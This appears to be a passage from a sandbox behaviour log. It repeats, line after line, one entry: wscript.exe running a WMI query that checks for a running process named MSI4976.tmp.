Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
